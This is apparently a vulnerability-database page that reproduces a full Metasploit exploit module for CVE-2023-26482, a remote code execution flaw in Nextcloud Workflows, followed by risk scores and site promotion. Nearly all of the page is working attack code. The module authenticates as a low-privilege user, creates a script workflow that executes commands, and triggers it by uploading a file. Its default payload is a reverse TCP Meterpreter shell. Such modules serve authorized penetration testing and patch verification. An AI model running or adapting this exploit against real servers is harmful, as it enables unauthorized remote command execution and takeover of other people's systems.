Lucene search
+L

Nextcloud Workflows Remote Code Execution

🗓️ 15 May 2025 18:53:05Reported by Enis Maholli, arianitisufi, Armend Gashi, whotwagnerType 
metasploit
 metasploit
🔗 www.rapid7.com👁 540 Views

Please provide the input as an array of objects. I can convert each to the required format.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry

  def initialize(info = {})
    @token = nil

    super(
      update_info(
        info,
        'Name' => 'Nextcloud Workflows Remote Code Execution',
        'Description' => %q{
          This module adds workflows as an authenticated user
          which can only be created by administrators by design.
          If the app "Nextcloud Workflow Script" is installed it
          is possible to generate a workflow that executes commands.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Enis Maholli', # Discovery
          'arianitisufi', # Discovery
          'Armend Gashi', # Discovery
          'whotwagner'    # Metasploit Module
        ],
        'References' => [
          ['GHSA', 'h3c9-cmh8-7qpj', 'nextcloud/security-advisories'],
          ['CVE', '2023-26482']
        ],
        'Targets' => [
          [
            'nix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2023-03-30',
        'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
        OptString.new('USERNAME', [true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def parse_token(res)
    return if res.nil?

    if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
      Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
    else
      print_error('token not found')
      nil
    end
  end

  def authenticate(user, pass)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
    @token = parse_token(res)
    fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?

    data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login'),
      'method' => 'POST',
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
  end

  def request_token
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'csrftoken'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
    @token = res.get_json_document['token']
    fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
  end

  def create_workflow(operation)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
      'method' => 'POST',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
      'vars_get' => { 'format' => 'json' },
      'data' => {
        'id' => -1743078702939,
        'class' => 'OCA\\WorkflowScript\\Operation',
        'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
        'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
        'name' => '',
        'checks' => [
          {
            'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
            'operator' => 'matches',
            'value' => '/.*/',
            'invalid' => false
          }
        ],
        'operation' => operation,
        'valid' => true
      }.to_json,
      'keep_cookies' => true
    )

    fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
    json_data = res.get_json_document
    flow_id = json_data.dig('ocs', 'data', 'id')
    flow_id
  end

  def upload_file(filename)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
      'method' => 'PUT',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
    )
    fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
  end

  def delete_workflow(workflow_id)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
      'vars_get' => { 'format' => 'json' },
      'method' => 'DELETE',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
      'keep_cookies' => true
    )
  end

  def delete_file(user, filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
      'method' => 'DELETE',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
    )
  end

  def check
    # For the check command
    cookie_jar.clear

    authenticate(datastore['USERNAME'], datastore['PASSWORD'])
    request_token
    flow_id = create_workflow('sleep 1')

    return Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?

    delete_workflow(flow_id)
    Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    # Main function
    cookie_jar.clear

    authenticate(datastore['USERNAME'], datastore['PASSWORD'])

    request_token

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Sending payload..')
    @temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
    @flow_id = create_workflow(cmd.to_s)

    fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?

    print_good('Workflow created')
    upload_file(@temp_filename)
  end

  def need_cleanup?
    defined?(@temp_filename) && @temp_filename
  end

  def cleanup
    super
    return unless need_cleanup?

    print_status('Cleaning up')

    delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
    delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename

    @flow_id = nil
    @temp_filename = nil
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8 - 9
EPSS0.04176
SSVC
540